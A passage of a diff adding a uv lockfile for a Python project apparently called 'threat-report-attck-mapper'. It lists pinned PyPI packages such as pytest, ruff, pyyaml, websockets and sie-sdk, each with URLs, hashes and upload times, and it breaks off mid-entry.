}, + { url = "https://files.pythonhosted.org/packages/9e/1b/f112433f99fc979431b87a39ef169e3f8df070d99a72792c56d6937ac48b/propcache-0.5.2-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:178b4a2cdaac1818e2bf1c5a99b94383fa73ea5382e032a48dec07dc5668dc42", size = 64342, upload-time = "2026-05-08T21:00:18.362Z" }, + { url = "https://files.pythonhosted.org/packages/14/15/5574111ae50dd6e879456888c0eadd4c5a869959775854e18e18a6b345f3/propcache-0.5.2-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6f328175a2cde1f0ff2c4ed8ce968b9dcfb55f3a7153f39e2957ed994da13476", size = 61639, upload-time = "2026-05-08T21:00:19.692Z" }, + { url = "https://files.pythonhosted.org/packages/cc/da/4d775080b1490c0ae604acda868bd71aabe3a89ed16f2aa4339eb8a283e7/propcache-0.5.2-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:5671d09a36b06d0fd4a3da0fccbcae360e9b1570924171a15e9e0997f0249fba", size = 61588, upload-time = "2026-05-08T21:00:21.155Z" }, + { url = "https://files.pythonhosted.org/packages/04/ac/f076982cbe2195ee9cf32de5a1e46951d9fb399fc207f390562dd0fd8fb2/propcache-0.5.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:80168e2ebe4d3ec6599d10ad8f520304ae1cad9b6c5a95372aef1b66b7bfb53a", size = 60029, upload-time = "2026-05-08T21:00:22.713Z" }, + { url = "https://files.pythonhosted.org/packages/70/60/189be62e0dd898dce3b331e1b8c7a543cd3a405ac0c81fe8ee8a9d5d77e1/propcache-0.5.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:45f11346f884bc47444f6e6647131055844134c3175b629f84952e2b5cd62b64", size = 56774, upload-time = "2026-05-08T21:00:24.001Z" }, + { url = "https://files.pythonhosted.org/packages/ea/9e/93377b9c7939c1ffae98f878dee955efadfd638078bc86dbc21f9d52f651/propcache-0.5.2-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:8e778ebd44ef4f66ed60a0416b06b489687db264a9c0b3620362f26489492913", size = 63532, upload-time = "2026-05-08T21:00:25.545Z" }, + { url = "https://files.pythonhosted.org/packages/14/f9/590ef6cfb9b8028d516d287812ece32bb0bc5f11fbb9c8bf6b2e6313fec8/propcache-0.5.2-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:c0cb9ed24c8964e172768d455a38254c2dd8a552905729ce006cad3d3dda59b1", size = 61592, upload-time = "2026-05-08T21:00:27.186Z" }, + { url = "https://files.pythonhosted.org/packages/b4/5e/70958b3034c297a630bba2f17ca7abc2d5f39a803ad7e370ab79d1ecd022/propcache-0.5.2-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:1d1ad32d9d4355e2be65574fd0bfd3677e7066b009cd5b9b2dee8aa6a6393b33", size = 64788, upload-time = "2026-05-08T21:00:28.8Z" }, + { url = "https://files.pythonhosted.org/packages/12/fd/77fe5936d8c3086ca9048f7f415f122ed82e53884a9ec193646b42deef06/propcache-0.5.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:c80f4ba3e8f00189165999a742ee526ebeccedf6c3f7beb0c7df821e9772435a", size = 62514, upload-time = "2026-05-08T21:00:30.098Z" }, + { url = "https://files.pythonhosted.org/packages/cf/74/66bd798b5b3be70aa1b391f5cc9d6a0a5532d7fd3b19ec0b213e72e6ad9d/propcache-0.5.2-cp312-cp312-win32.whl", hash = "sha256:8c7972d8f193740d9175f0998ab38717e6cd322d5935c5b0fef8c0d323fd9031", size = 39018, upload-time = "2026-05-08T21:00:31.622Z" }, + { url = "https://files.pythonhosted.org/packages/61/7c/5c0d34aa3024694d6dcb9271cdbdd08c4e47c1c0ad95ec7e7bc74cdea145/propcache-0.5.2-cp312-cp312-win_amd64.whl", hash = "sha256:d9ee8826a7d47863a08ac44e1a5f611a462eefc3a194b492da242128bec75b42", size = 42322, upload-time = "2026-05-08T21:00:32.918Z" }, + { url = "https://files.pythonhosted.org/packages/4d/91/875812f1a3feb20ceba818ef39fbe4d92f1081e04ac815c822496d0d038b/propcache-0.5.2-cp312-cp312-win_arm64.whl", hash = "sha256:2800a4a8ead6b28cccd1ec54b59346f0def7922ee1c7598e8499c733cfbb7c84", size = 38172, upload-time = "2026-05-08T21:00:35.124Z" }, + { url = "https://files.pythonhosted.org/packages/3a/ed/1cdcab6ba3d6ab7feca11fc14f0eeea80755bb53ef4e892079f31b10a25f/propcache-0.5.2-py3-none-any.whl", hash = "sha256:be1ddfcbb376e3de5d2e2db1d58d6d67463e6b4f9f040c000de8e300295465fe", size = 14036, upload-time = "2026-05-08T21:02:10.673Z" }, +] + +[[package]] +name = "pygments" +version = "2.21.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/49/2e/ced460408999b33da6b31b0021b0f37d329e202d4169aeb164493778f25b/pygments-2.21.0.tar.gz", hash = "sha256:610ca751c9bc2492b38eb9a38a7fbc93edbbb2d7182edaf34e66ae493dee5c8c", size = 5005329, upload-time = "2026-08-17T08:02:48.824Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/46/17f022dd3e953bf20a04a028a21ec746d942f8d2af30fa0f124fa0e6a684/pygments-2.21.0-py3-none-any.whl", hash = "sha256:2363c69b61c4a97c838da3b130dcd6468f4848992b21a82f2a63ec34377137d9", size = 1250147, upload-time = "2026-08-17T08:02:44.912Z" }, +] + +[[package]] +name = "pytest" +version = "9.1.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, + { name = "iniconfig" }, + { name = "packaging" }, + { name = "pluggy" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/e4/47/b9efed96c114afcfa3c9d3fe98a76a1d14c74a9e266d397cf6eb64be5e01/pytest-9.1.1.tar.gz", hash = "sha256:1088fbde8f2b49d95a549a195707afa7a76a3ce9bcadc26b6d71f0ffda5fe313", size = 1636369, upload-time = "2026-06-19T10:58:32.857Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/24/25/1de2678b631f5a49215c6c96fff41ba892b0a34df68d6d80292b1b48aa7f/pytest-9.1.1-py3-none-any.whl", hash = "sha256:37a86b45efb9a47a61a36449063e8e18d0cab3161329fc099eb21783169c4f0c", size = 386536, upload-time = "2026-06-19T10:58:31.347Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6a/53/ed9d74092561d4b01a2ef1349d52cdbc135e526c245f366b089cfca6de49/python_dotenv-1.2.3.tar.gz", hash = "sha256:a20a594dabeaa385725aa239d5244871c143ecb356add8a20fcf23773a6c3a35", size = 58945, upload-time = "2026-08-16T16:54:54.067Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0d/17/c5c6b53ddc18f297992099b3d9ec16c855c0ccc83263a21fe4d1c625ec6c/python_dotenv-1.2.3-py3-none-any.whl", hash = "sha256:904552145e8bfed22162c09dab1c2b9b54fefa7b23ba780f4f26ca0316b0f0d9", size = 22780, upload-time = "2026-08-16T16:54:52.473Z" }, +] + +[[package]] +name = "pyyaml" +version = "6.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/33/422b98d2195232ca1826284a76852ad5a86fe23e31b009c9886b2d0fb8b2/pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196", size = 182063, upload-time = "2025-09-25T21:32:11.445Z" }, + { url = "https://files.pythonhosted.org/packages/89/a0/6cf41a19a1f2f3feab0e9c0b74134aa2ce6849093d5517a0c550fe37a648/pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0", size = 173973, upload-time = "2025-09-25T21:32:12.492Z" }, + { url = "https://files.pythonhosted.org/packages/ed/23/7a778b6bd0b9a8039df8b1b1d80e2e2ad78aa04171592c8a5c43a56a6af4/pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28", size = 775116, upload-time = "2025-09-25T21:32:13.652Z" }, + { url = "https://files.pythonhosted.org/packages/65/30/d7353c338e12baef4ecc1b09e877c1970bd3382789c159b4f89d6a70dc09/pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c", size = 844011, upload-time = "2025-09-25T21:32:15.21Z" }, + { url = "https://files.pythonhosted.org/packages/8b/9d/b3589d3877982d4f2329302ef98a8026e7f4443c765c46cfecc8858c6b4b/pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc", size = 807870, upload-time = "2025-09-25T21:32:16.431Z" }, + { url = "https://files.pythonhosted.org/packages/05/c0/b3be26a015601b822b97d9149ff8cb5ead58c66f981e04fedf4e762f4bd4/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e", size = 761089, upload-time = "2025-09-25T21:32:17.56Z" }, + { url = "https://files.pythonhosted.org/packages/be/8e/98435a21d1d4b46590d5459a22d88128103f8da4c2d4cb8f14f2a96504e1/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea", size = 790181, upload-time = "2025-09-25T21:32:18.834Z" }, + { url = "https://files.pythonhosted.org/packages/74/93/7baea19427dcfbe1e5a372d81473250b379f04b1bd3c4c5ff825e2327202/pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5", size = 137658, upload-time = "2025-09-25T21:32:20.209Z" }, + { url = "https://files.pythonhosted.org/packages/86/bf/899e81e4cce32febab4fb42bb97dcdf66bc135272882d1987881a4b519e9/pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b", size = 154003, upload-time = "2025-09-25T21:32:21.167Z" }, + { url = "https://files.pythonhosted.org/packages/1a/08/67bd04656199bbb51dbed1439b7f27601dfb576fb864099c7ef0c3e55531/pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd", size = 140344, upload-time = "2025-09-25T21:32:22.617Z" }, +] + +[[package]] +name = "rich" +version = "15.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" }, +] + +[[package]] +name = "ruff" +version = "0.16.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/61/b3/3213589383f8f1b3938781bd1278713f6d18621a14992b3e81fefb8a5ef9/ruff-0.16.3.tar.gz", hash = "sha256:e76d33a347661a84b5be6d043d0347fdc745dfdcf825a8f4fed64b5e26eebdf2", size = 4891904, upload-time = "2026-08-13T15:17:13.381Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/bf/96/493770daebd68c0a67f1549fdf519f53be51fc435186c0585bcc272fd76c/ruff-0.16.3-py3-none-linux_armv6l.whl", hash = "sha256:0c5710e247a58a4521e66e124ba9a74655b414f61ba3a2e9e3811e11098f48f7", size = 10902799, upload-time = "2026-08-13T15:16:27.382Z" }, + { url = "https://files.pythonhosted.org/packages/5e/e6/2becf3942fddc29a29b8df47691d456fb1085391a694f74d84513251418c/ruff-0.16.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:fe155130631a2471fd2e14a7a664a4dfbd7194b8229c3d7b2a40b21178639081", size = 11135539, upload-time = "2026-08-13T15:16:30.87Z" }, + { url = "https://files.pythonhosted.org/packages/3e/1e/4b8b72f0d006dbf19326aa99f9ca0ee2ff374187c4d301cf529a51aa06fe/ruff-0.16.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e2ed719e14aa64d895c2ee922594a90a43c861a93f0575a95ff8c47cdbd13eb9", size = 10475095, upload-time = "2026-08-13T15:16:33.259Z" }, + { url = "https://files.pythonhosted.org/packages/92/32/2201fa49ba1f6c101ee321e83f051ac7a4b8d07b0ef6b4d3f2772b302275/ruff-0.16.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9e0b1da805eb043654645d74d5de1e5ce2edc686e40790d2b86f56d71cc06a84", size = 10668771, upload-time = "2026-08-13T15:16:35.65Z" }, + { url = "https://files.pythonhosted.org/packages/c3/66/4afc5c8363bd04d45effce1b7c8713ca037d7a6740b7451a2403a6e3a972/ruff-0.16.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a37bdea0bbe21780f590bf437d6412c8c4e1b6cd010f91a65c2c40c5e5f5f870", size = 10699568, upload-time = "2026-08-13T15:16:38.195Z" }, + { url = "https://files.pythonhosted.org/packages/53/fd/c67d246bf36bf1698551c56de39e95cd07f70e64433e0098e6267d77061b/ruff-0.16.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:09571e6d1288ed9be475207a3ac04ada404f1cd898104be0f6ab8d7df438575b", size = 11499365, upload-time = "2026-08-13T15:16:40.623Z" }, + { url = "https://files.pythonhosted.org/packages/67/0b/00ecbceb99a263af7b12f6f05ac3c92bc47b905e91adc3f207a836e3bc01/ruff-0.16.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c18c5a101eb540010638cc1ff3c84944d3adb3df62b8d98ca8f22ba484d3413", size = 12311728, upload-time = "2026-08-13T15:16:43.564Z" }, + { url = "https://files.pythonhosted.org/packages/54/b2/b7b3bb54f4d3f7db504e476ad4ab8de530dceebe2c061384b2757ee419e8/ruff-0.16.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8457c44f15033c85ddbb77b15d451df9e24e4bd03b628396dd3610cedc3b8f82", size = 11699896, upload-time = "2026-08-13T15:16:46.209Z" }, + { url = "https://files.pythonhosted.org/packages/c7/30/4c468429ac195addc5ee1b717b6ab1b66632786737ca3b2ed3443fb0c26a/ruff-0.16.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:294b95c4ae0cda9388525c2047778aa758d6b8d4bb876fd4e9eaa3ebc92343eb", size = 11058736, upload-time = "2026-08-13T15:16:48.823Z" }, + { url = "https://files.pythonhosted.org/packages/43/67/7a113cdaddf24b64d7f75b1242a99d04c82fcef4f6921fdbb832beaffb5f/ruff-0.16.3-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:3d0c7c40c87c2a820509c31ba007968da6e1306468c067b2d82fbfdbcd0e8474", size = 11586911, upload-time = "2026-08-13T15:16:51.913Z" }, + { url = "https://files.pythonhosted.org/packages/f1/c1/2e66f24c0f3ead25a5e660111778685e505e5da353c82802bf49f0cbe7b9/ruff-0.16.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:9f738c0fdfa8eed0b2ce7fb27ee7258208a92a68d7949e62aa15164bc7b389da", size = 10954265, upload-time = "2026-08-13T15:16:54.763Z" }, + { url = "https://files.pythonhosted.org/packages/c2/ba/4cee23bf52cba9a058d3726de623624daf50ef9638868edd86f4126157f6/ruff-0.16.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:fb785f0be25abe69d320415cd4f833b59e17ba7613d9ba6a958023b6bceb0a50", size = 10709886, upload-time = "2026-08-13T15:16:57.339Z" }, + { url = "https://files.pythonhosted.org/packages/82/df/7da7194fa5d9dc0a285f7e6fa5a4722e7c63faac0b45b614ded9314363a1/ruff-0.16.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:c5536e3acfbf9563085aa2be7b13c629c3077e902afc5b941ac44024dbb9f506", size = 11210392, upload-time = "2026-08-13T15:17:00.171Z" }, + { url = "https://files.pythonhosted.org/packages/35/85/7795f6e817af050e7517bf3e7aa9b061cce70ef33d280aad902c956c1ecf/ruff-0.16.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:a2d85c02f9b8e165d85e6779184d38c4132de12603dab59c51c28e22584f9e4d", size = 11626910, upload-time = "2026-08-13T15:17:03.299Z" }, + { url = "https://files.pythonhosted.org/packages/78/9b/475b927cf27a5cbbda3c7bafb69ed6ff77e1d7923d5d85f17c2749d7ae32/ruff-0.16.3-py3-none-win32.whl", hash = "sha256:388cdf2166642bd9b13d52b5932d3170f34f8abed7e8d9a855f1d84b83645a0a", size = 10931415, upload-time = "2026-08-13T15:17:05.726Z" }, + { url = "https://files.pythonhosted.org/packages/b2/99/e2a2bfc4fbf0a1e8a916bc9ebe6fe6c58cc34c28e0ffc6ce281d572d1c2e/ruff-0.16.3-py3-none-win_amd64.whl", hash = "sha256:e80a7d69ca2a6d1c4d352ec91458cdca6e56c83cdbcabd93e4abe1e53591d948", size = 11445993, upload-time = "2026-08-13T15:17:08.353Z" }, + { url = "https://files.pythonhosted.org/packages/69/3e/4132e539aed78c148854d4997a2685b0ed4dc4e87110b59ce528564e184e/ruff-0.16.3-py3-none-win_arm64.whl", hash = "sha256:b8ca152da82c1acc1fa8d5874b15951935f0eef46f10e6954c83859011b6178a", size = 11399302, upload-time = "2026-08-13T15:17:10.908Z" }, +] + +[[package]] +name = "sie-sdk" +version = "0.7.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "aiohttp" }, + { name = "httpx" }, + { name = "msgpack" }, + { name = "msgpack-numpy" }, + { name = "numpy" }, + { name = "pillow" }, + { name = "pyyaml" }, + { name = "websockets" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5a/c1/f7652a9c970ae53b94c005e959e02883203be3d9dc580110ef8fb85d5b17/sie_sdk-0.7.1.tar.gz", hash = "sha256:7af9416f1de592e5e9ce4d64a7eba9479cf8f1efaa0c0d3cd64e53e3d83e706c", size = 221925, upload-time = "2026-08-09T06:00:32.851Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/f0/4c/c24d0a2f4a10be40625034d798d3eda44b0351851f08c5d38910b0a1d8c5/sie_sdk-0.7.1-py3-none-any.whl", hash = "sha256:a0a386167a33a3128ed1eb5447ec69e1caa5462ee55bf10d92a250277e9b59b7", size = 144187, upload-time = "2026-08-09T06:00:31.091Z" }, +] + +[[package]] +name = "threat-report-attck-mapper" +version = "0.1.0" +source = { editable = "." } +dependencies = [ + { name = "httpx" }, + { name = "numpy" }, + { name = "python-dotenv" }, + { name = "pyyaml" }, + { name = "rich" }, + { name = "sie-sdk" }, +] + +[package.dev-dependencies] +dev = [ + { name = "pytest" }, + { name = "ruff" }, +] + +[package.metadata] +requires-dist = [ + { name = "httpx", specifier = ">=0.27" }, + { name = "numpy", specifier = ">=1.26" }, + { name = "python-dotenv", specifier = ">=1.0" }, + { name = "pyyaml", specifier = ">=6.0" }, + { name = "rich", specifier = ">=13.7" }, + { name = "sie-sdk", specifier = "==0.7.1" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "pytest", specifier = ">=9.0" }, + { name = "ruff", specifier = ">=0.14" }, +] + +[[package]] +name = "typing-extensions" +version = "4.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" }, +] + +[[package]] +name = "websockets" +version = "14.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/54/8359678c726243d19fae38ca14a334e740782336c9f19700858c4eb64a1e/websockets-14.2.tar.gz", hash = "sha256:5059ed9c54945efb321f097084b4c7e52c246f2c869815876a69d1efc4ad6eb5", size = 164394, upload-time = "2025-01-19T21:00:56.431Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c1/81/04f7a397653dc8bec94ddc071f34833e8b99b13ef1a3804c149d59f92c18/websockets-14.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:1f20522e624d7ffbdbe259c6b6a65d73c895045f76a93719aa10cd93b3de100c", size = 163096, upload-time = "2025-01-19T20:59:29.763Z" }, + { url = "https://files.pythonhosted.org/packages/ec/c5/de30e88557e4d70988ed4d2eabd73fd3e1e52456b9f3a4e9564d86353b6d/websockets-14.2-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:647b573f7d3ada919fd60e64d533409a79dcf1ea21daeb4542d1d996519ca967", size = 160758, upload-time = "2025-01-19T20:59:32.095Z" }, + { url = "https://files.pythonhosted.org/packages/e5/8c/d130d668781f2c77d106c007b6c6c1d9db68239107c41ba109f09e6c218a/websockets-14.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6af99a38e49f66be5a64b1e890208ad026cda49355661549c507152113049990", size = 160995, upload-time = "2025-01-19T20:59:33.527Z" }, + { url = "https://files.pythonhosted.org/packages/a6/bc/f6678a0ff17246df4f06765e22fc9d98d1b11a258cc50c5968b33d6742a1/websockets-14.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:091ab63dfc8cea748cc22c1db2814eadb77ccbf82829bac6b2fbe3401d548eda", size = 170815, upload-time = "2025-01-19T20:59:35.837Z" }, + { url = "https://files.pythonhosted.org/packages/d8/b2/8070cb970c2e4122a6ef38bc5b203415fd46460e025652e1ee3f2f43a9a3/websockets-14.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:b374e8953ad477d17e4851cdc66d83fdc2db88d9e73abf755c94510ebddceb95", size = 169759, upload-time = "2025-01-19T20:59:38.216Z" }, + { url = "https://files.pythonhosted.org/packages/81/da/72f7caabd94652e6eb7e92ed2d3da818626e70b4f2b15a854ef60bf501ec/websockets-14.2-cp312-cp312-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a39d7eceeea35db85b85e1169011bb4321c32e673920ae9c1b6e0978590012a3", size = 170178, upload-time = "2025-01-19T20:59:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/31/e0/812725b6deca8afd3a08a2e81b3c4c120c17f68c9b84522a520b816cda58/websockets-14.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:0a6f3efd47ffd0d12080594f434faf1cd2549b31e54870b8470b28cc1d3817d9", size = 170453, upload-time = "2025-01-19T20:59:41.996Z" }, + { url = "https://files.pythonhosted.org/packages/66/d3/8275dbc231e5ba9bb0c4f93144394b4194402a7a0c8ffaca5307a58ab5e3/websockets-14.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:065ce275e7c4ffb42cb738dd6b20726ac26ac9ad0a2a48e33ca632351a737267", size = 169830, upload-time = "2025-01-19T20:59:44.669Z" }, + { url = "https://files.pythonhosted.org/packages/a3/ae/e7d1a56755ae15ad5a94e80dd490ad09e345365199600b2629b18ee37bc7/websockets-14.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e9d0e53530ba7b8b5e389c02282f9d2aa47581514bd6049d3a7cffe1385cf5fe", size = 169824, upload-time = "2025-01-19T20:59:46.932Z" }, + { url = "https://files.pythonhosted.org/packages/b6/32/88ccdd63cb261e77b882e706108d072e4f1c839ed723bf91a3e1f216bf60/websockets-14.2-cp312-cp312-win32.whl", hash = "sha256:20e6dd0984d7ca3037afcb4494e48c74ffb51e8013cac71cf607fffe11df7205", size = 163981, upload-time = "2025-01-19T20:59:49.228Z" }, + { url = "https://files.pythonhosted.org/packages/b3/7d/32cdb77990b3bdc34a306e0a0f73a1275221e9a66d869f6ff833c95b56ef/websockets-14.2-cp312-cp312-win_amd64.whl", hash = "sha256:44bba1a956c2c9d268bdcdf234d5e5ff4c9b6dc3e300545cbe99af59dda9dcce", size = 164421, upload-time = "2025-01-19T20:59:50.674Z" }, + { url = "https://files.pythonhosted.org/packages/7b/c8/d529f8a32ce40d98309f4470780631e971a5a842b60aec864833b3615786/websockets-14.2-py3-none-any.whl", hash = "sha256:7a6ceec4ea84469f15cf15807a747e9efe57e369c384fa86e022b3bea679b79b", size = 157416, upload-time = "2025-01-19T21:00:54.843Z" }, +] + +[[package]] +name = "yarl" +version = "1.24.5" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "idna" }, + { name = "multidict" }, + { name = "propcache" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/31/33/ebe9e3d1f86c7a0b51094c0a146392045ca1631d2664889539dec8088a33/yarl-1.24.5.tar.gz", hash = "sha256:e81b83143bee16329c23db3c1b2d82b29892fcbcb849186d2f6e98a5abe9a57f", size = 228679, upload-time = "2026-07-20T02:07:45.435Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1b/84/71d051c850b5af41d168c679d9eb67eb7c55283ac4ee131673edf134bc4e/yarl-1.24.5-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:d693396e5aea78db03decd60aec9ece16c9b40ba00a587f089615ff4e718a81d", size = 136035, upload-time = "2026-07-20T02:05:25.489Z" }, + { url = "https://files.pythonhosted.org/packages/03/4d/8ad27f9a1b7e69313cca5d695b925b48efe51208d3490e0844bae97cabc0/yarl-1.24.5-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:3363fcc96e665878946ad7a106b9a13eac0541766a690ef287c0232ac768b6ec", size = 97642, upload-time = "2026-07-20T02:05:27.429Z" }, + { url = "https://files.pythonhosted.org/packages/ea/b4/05b4131c407006cd1e410e9c6539f16a0945724677e5364447313c15ea3e/yarl-1.24.5-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:9d399bdcfb4a0f659b9b3788bbc89babe63d9a6a65aacdf4d4e7065ff2e6316c", size = 97323, upload-time = "2026-07-20T02:05:29.441Z" }, + { url = "https://files.pythonhosted.org/packages/20/16/e618c875c73e0e39611f20a581b3d5e8d59b8857bf001bee3263044c6deb/yarl-1.24.5-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:90333fd89b43c0d08ac85f3f1447593fc2c66de18c3d6378d7125ea118dc7a54", size = 107741, upload-time = "2026-07-20T02:05:31.367Z" }, + { url = "https://files.pythonhosted.org/packages/d9/9a/c4defeaf3ed33fcb346aacf9c6e971a8d4e2bde04a0310e79abb208e7965/yarl-1.24.5-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:665b0a2c463cc9423dd647e0bfd9f4ccc9b50f768c55304d5e9f80b177c1de12", size = 103570, upload-time = "2026-07-20T02:05:33.303Z" }, + { url = "https://files.pythonhosted.org/packages/5f/e7/0e0e0de5865ebd5914537ef486f36c727a59865c3ac0cf5ff1b32aececbf/yarl-1.24.5-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e006d3a974c4ee19512e5f058abedb6eef36a5e553c14812bdeba1758d812e6d", size = 115815, upload-time = "2026-07-20T02:05:35.292Z" }, + { url = "https://files.pythonhosted.org/packages/2b/27/ca56b700cb170aba25a3893b75355b213935657dc5714d2383354a270e62/yarl-1.24.5-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e7d42c531243450ef0d4d9c172e7ed6ef052640f195629065041b5add4e058d1", size = 116025, upload-time = "2026-07-20T02:05:37.503Z" }, + { url = 